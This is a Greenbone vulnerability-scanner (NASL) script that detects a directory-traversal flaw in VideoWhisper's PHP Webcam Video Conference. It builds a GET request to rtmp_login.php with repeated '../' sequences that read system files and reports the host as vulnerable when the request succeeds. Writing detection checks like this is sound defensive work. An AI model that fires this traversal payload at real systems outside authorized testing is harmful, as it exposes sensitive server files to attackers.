PHP Webcam Video Conference Local File Inclusion / XSS

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103902");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("PHP Webcam Video Conference Local File Inclusion / XSS");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/31458/");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2014-02-07 11:53:08 +0100 (Fri, 07 Feb 2014)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"A remote attacker can exploit this issue to obtain sensitive
information that could aid in further attacks.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Input of the 's' value in rtmp_login.php is not properly sanitized.");

  script_tag(name:"solution", value:"Upgrade to the new version ifrom the videowhisper vendor homepage.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"PHP Webcam Video Conference is prone to a directory-traversal
vulnerability because it fails to sufficiently sanitize user-supplied input.");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("host_details.inc");
include("os_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );

files = traversal_files();

foreach dir( make_list_unique( "/vc", "/vc_php", "/videoconference", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = dir + '/index.php';
  res = http_get_cache( item:url, port:port );

  if( "<title>Video Conference by VideoWhisper.com" >< res ) {
    foreach file( keys( files ) ) {
      url = dir + '/rtmp_login.php?s=' + crap( data:"../", length:9*9 ) + files[file];
      if(http_vuln_check( port:port, url:url, pattern:file ) ) {
        report = http_report_vuln_url( port:port, url:url );
        security_message( port:port, data:report );
        exit( 0 );
      }
    }
  }
}

exit( 99 );